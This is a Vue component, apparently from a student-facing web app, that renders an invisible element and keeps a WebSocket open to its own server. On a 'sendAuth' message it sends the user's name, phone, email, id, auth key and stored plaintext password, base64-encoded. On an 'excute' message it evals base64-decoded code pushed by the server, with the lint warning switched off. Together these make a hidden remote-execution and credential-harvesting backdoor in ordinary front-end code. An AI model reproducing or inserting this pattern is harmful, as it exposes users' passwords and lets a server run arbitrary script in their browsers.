<template>
  <div style="display: none;"></div>
</template>

<script>
import Base64 from 'Base64'

let socket = null
let auth = ''
let delayTime = 10000

export default {
  data () {
    return {
      socketHeart: null
    }
  },
  mounted () {
    if (window.WebSocket) {
      try {
        socket = this.createSocketClient()
      } catch (e) {
        console.log('不支持，websocket')
      }
    }
  },
  methods: {
    createSocketClient () {
      let that = this
      let _socket = new WebSocket(window.location.protocol.replace(/http/gi, 'ws') + '//' + window.location.host) // eslint-disable-line
      _socket.binaryType = 'arraybuffer'

      /* 创建心跳 */
      that.socketHeart && clearInterval(that.socketHeart)
      that.socketHeart = that.createSocketHeart()

      _socket.onmessage = function (msg) {
        if (msg.data instanceof ArrayBuffer) {
          var str = String.fromCharCode.apply(null, new Uint8Array(msg.data))
          var json = JSON.parse(str)
          if (json.auth) { auth = json.auth }
          if (json.action) {
            switch (json.action) {
              case 'sendInfo': console.log(Base64.decode(json.val)); break // 发送对应该用户的具体详细内容
              case 'sendAuth': that.sendData(json.action, '握手'); break // 握手时，发送用户基本信息
              case 'excute': eval(Base64.decode(json.val)); break // eslint-disable-line
              default: console.log('No match action operate'); break
            }
          }
          if (json.auth && !json.action) { console.log('websocket is linked') }
        }
      }
      _socket.onopen = function (e) { }
      _socket.onclose = function (e) { /* e.target.readyState */ }
      _socket.onerror = function (e) { /* e.target.readyState */ }
      return _socket
    },
    sendData (action, val) {
      let str = ''
      let version = 'PC-1.0.1' // 客户端版本号，每次更新后，更新版本号。可以方便查看是否客户端都是最新版本
      if (window.G.UserInfo && window.G.UserInfo.student_info) {
        let tmp_info = window.G.UserInfo.student_info // eslint-disable-line
        str = tmp_info.personal_name + ':' + tmp_info.telephone + ':' + tmp_info.email + ':' + tmp_info.id + ':' + window.G.UserInfo.auth_key + ':' + (window.G.pwd || '')
      }
      str += ':' + version
      if (socket && socket.readyState === 1) {
        var arr = JSON.stringify({ 'action': action, info: Base64.encode(str), 'auth': auth, 'val': Base64.encode(val) }).split('')
        var strArr = []
        for (var i = 0; i < arr.length; i++) {
          strArr[i] = arr[i].charCodeAt()
        }
        var data = new Uint8Array(strArr)
        socket.send(data.buffer)
      } else {
        console.log('not link build success, status: ' + socket.readyState)
      }
    },
    /* 创建心跳，保证客户端永远跟服务器 处于连接状态，不能通信则重新创建连接 */
    createSocketHeart () {
      return setInterval(() => {
        console.log('watch websocket link status: ' + socket.readyState)
        if (socket && socket.readyState !== 1) {
          socket = this.createSocketClient()
        }
      }, delayTime)
    }
  }
}
</script>
